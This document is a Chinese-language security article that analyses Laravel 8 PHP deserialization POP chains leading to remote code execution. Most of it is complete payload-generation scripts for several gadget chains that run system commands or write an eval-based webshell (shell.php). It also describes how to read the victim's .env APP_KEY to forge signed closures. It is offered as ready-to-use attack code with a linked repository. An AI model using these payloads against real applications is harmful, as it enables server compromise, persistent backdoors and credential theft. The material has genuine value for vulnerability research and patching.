Laravel8反序列化POP链分析挖掘

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作者:Dig2@星盟

前言

作为目前PHP最主流的框架之一,Laravel的主体及其依赖组件一直保持着较频繁的更新。自从2020年9月份Laravel 8发布以来,已经更新了四十多个版本,平均每个月都有八次左右的更新。除了优化,还有重要的原因在于安全性。例如CVE-2021-3129可以在Laravel的Debug模式下任意代码执行。这个CVE的命令执行步骤中有一部分依赖于Phar反序列化的执行。相比较于目前被分析较多的Larave 5.X版本的POP链,Laravel 8 部分组件版本较新,部分类加上了__wake方法进行过滤或者直接禁止了反序列化,故利用方式有所差异。本文分析并挖掘了当前Laravel 8版本中的反序列化链。

使用composer默认安装方式

composer create-project --prefer-dist laravel/laravel=8.5.9 laravel859

Laravel版本8.5.9,framework版本8.26.1,具体组件版本可参照Packagist Laravel

手动添加反序列化点:

/routes/web.php:

<?php

use Illuminate\Support\Facades\Route;
use App\Http\Controllers\IndexController;

Route::get('/', [IndexController::class, 'index']);

/app/Http/Controllers/IndexController.php:

<?php

namespace App\Http\Controllers;
use Illuminate\Http\Request;

class IndexController extends Controller
{
    public function index(Request $request)
    {
        $p = $request->input('payload');
        unserialize($p);
    }
}

 

反序列化链分析

链一

寻找__destruct

入口类为:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.phpclass PendingBroadcast

这是一个很经典的入口类了,如果读者有研究Laravel 5的反序列化链,可能会知道这个类。其__destruct方法:

我们可以控制$this->events$this->event。如果使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法。

寻找dispatch方法

\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.phpclass Dispatcher存在dispatch方法

$command可控,$this->queueResolver可控,$this->commandShouldBeQueued要求$command为ShouldQueue的实例

全局搜索,随便找一个ShouldQueue的子类即可

然后就能够进入$this->dispatchToQueue方法

$this->queueResolver$connection均可控。payload如下:

<?php
// 1.php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }

    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}


namespace {
    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
    $b = new Illuminate\Bus\Dispatcher('system');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    print(urlencode(serialize($a)));
}

加强

上面的利用方法中,执行call_user_func($this->queueResolver, $connection);时,执行的函数只有$connection一个参数。如果现在需要执行一个多参数函数比如file_put_contents就没办法了。

注意到这里call_user_func的第一个参数除了可以是函数名字符串,还有两种可以利用方式:

  1. 使第一个参数为一个类,就能调用该类的__invoke方法
  2. 使第一个参数为数组,例如[class A, 'foo'],表示调用类A的foo方法。下面分别介绍这两种方式例子

法一:调用__invoke

这里的利用稍为复杂

\vendor\opis\closure\src\SerializableClosure.phpclass SerializableClosure找到了一个非常漂亮的__invoke函数

这里的$this->closurefunc_get_args()均可控,我本来以为能够直接RCE了,然而后面还有两个棘手的问题。

一个是该类使用的不是标准序列化反序列化方法,而是实现了自己的序列化和反序列化方法:

其实这个问题不难解决,我们可以在生成payload的时候,使用composer引入该组件:

composer require opis/closure

然后在生成payload的代码中加入:

require "./vendor/autoload.php";

再:

$func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");};
$d = new \Opis\Closure\SerializableClosure($func);

就能生成该类实例了

第二个棘手的问题在于,Laravel 8和Laravel 5有一个区别。Laravel 8在序列化和反序列化该类时,使用了验证secret。

该secret由环境变量配置文件,也就是.env中的APP_KEY决定,Laravel安装的时候,会在.env文件中生成一个随机的APP_KEY,例如:

APP_KEY=base64:2qnzxAY/QWHh/1F174Qsa+8LkuMoxOCU9qN6K8KipI0=

我们在本地生成payload的时候,也要手动生成一个static::$securityProvider,并且secret和远程受害者要是一样的才行。方法为,在本地的class SerializableClosure的源码SerializableClosure.php文件中加入这么一行(字符串为受害机.env文件中的密钥):

那么如何获取受害机的APP_KEY呢?我们在上面既然实现了单参数的任意函数执行,那么file_get_content('.env')就行了。当然,如果有其他漏洞点能够泄露配置文件就更方便了。

综上所述,生成payload脚本:

<?php
// 1-1.php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }

    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}


namespace {
    require "./vendor/autoload.php";
    $func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");};
    $d = new \Opis\Closure\SerializableClosure($func);

    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
    $b = new Illuminate\Bus\Dispatcher($d);
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    print(urlencode(serialize($a)));
}

法二:调用另一个类某可控函数

这里使用了JrXnm师傅在其文章Laravel 5.8 RCE POP链汇总分析中提到的方法,使用vendor\phpoption\phpoption\src\PhpOption\LazyOption.phpclass LazyOption,在下面链二的加强中演示。payload一并放在文末的github地址中。

链二

寻找__destruct

同链一,入口类为:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.phpclass PendingBroadcast

我们可以控制$this->events$this->event。如果使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

寻找__call

随后找到位于\vendor\laravel\framework\src\Illuminate\Validation\Validator.php中的class Validator

它有__call方法:

$parameters可控,$method为固定字符串dispatch,取substr($method, 8)后,为空字符串,故$rule''$this->extensions可控,跟踪$this->callExtension()方法

$callback$parameters都是可控的,于是一条利用链就出来了。payload如下:

<?php
// 2.php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Validation {
    class Validator {
        public $extensions;
        public function __construct($extensions){
            $this->extensions = $extensions;
        }
    }
}

namespace {
    $b = new Illuminate\Validation\Validator(array(''=>'system'));
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
    print(urlencode(serialize($a)));
}

加强

对于链二的总结就是:

$callback(... array_values($parameters));

$callback可控,$parameters最多只能为单成员的数组。所以这里也具有无法执行多参数函数比如file_put_contents的问题。

注意到这里利用的是PHP中的可变函数,经过实验,如下代码可行:

<?php
class A{
    public function __invoke(){
        echo "invoke".PHP_EOL;
    }
    public function test(){
        echo "test".PHP_EOL;
    }
}

$callback1 = new A;
$callback1('');  // 输出invoke

$callback2 = array(new A, 'test');
$callback2('');  // 输出test

因此,可以控制上面利用链中的$callback为数组,就可以调用某其他类任意函数了。

vendor\phpoption\phpoption\src\PhpOption\LazyOption.phpclass LazyOption是一个很好的选择。

其option方法可以调用call_user_func_array函数,且两个参数都可控

虽然option是private属性的方法,在其它类中无法直接调用,但是可以发现在该类自身中,许多函数都在调用option函数

于是构造成功,payload如下所示

<?php
// 2-1.php
namespace PhpOption {
    class LazyOption {
        private $callback;
        private $arguments;

        public function __construct($callback, $arguments) {
            $this->callback = $callback;
            $this->arguments = $arguments;
        }
    }
}

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;

        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Validation {
    class Validator {
        public $extensions;

        public function __construct($extensions){
            $this->extensions = $extensions;
        }
    }
}

namespace {
    $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['Dig2']) ?>"]);
    $b = new Illuminate\Validation\Validator(array(''=>[$c, 'select']));
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'not important');
    print(urlencode(serialize($a)));
}

链三

入口类为\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.phpclass FileCookieJar。此类在Laravel 5中没有出现。其有__destruct函数:

$this->filename可控,跟踪save函数:

有file_put_contents函数。一路顺下去,能看到该类的接口是实现了IteratorAggregate的,如下

interface CookieJarInterface extends \Countable, \IteratorAggregate

也就是说它实现了自己的foreach ($this as $cookie)方法,这里同样用composer安装一下该组件再进行获取序列化字符串比较方便。因为我们要通过其父类的SetCookie方法来设置这里的$cookie值。其余没有什么值得注意的地方,比较简单,payload如下:

<?php
// 3.php
namespace{
    require "./vendor/autoload.php";
    $a = new \GuzzleHttp\Cookie\FileCookieJar("shell.php");
    $a->setCookie(new \GuzzleHttp\Cookie\SetCookie([
        'Name'=>'123',
        'Domain'=> "<?php eval(\$_POST['Dig2']) ?>",
        'Expires'=>123,
        'Value'=>123
    ]));
    print(urlencode(serialize($a)));
}

 

总结

Laravel 8相对于Laravel 5而言,增加了几个组件,又去掉了另几个组件。利用链有部分重叠,也有修复与增补。整体分析下来,思路是非常清晰的,从__destruct函数到__invoke或者__call等,再到危险函数完成RCE,中间或许需要跳板反复利用。密钥等信息的泄露也会带来RCE的风险。

上面代码集合:https://github.com/WgagaXnunigo/laravel8_POP_RCE

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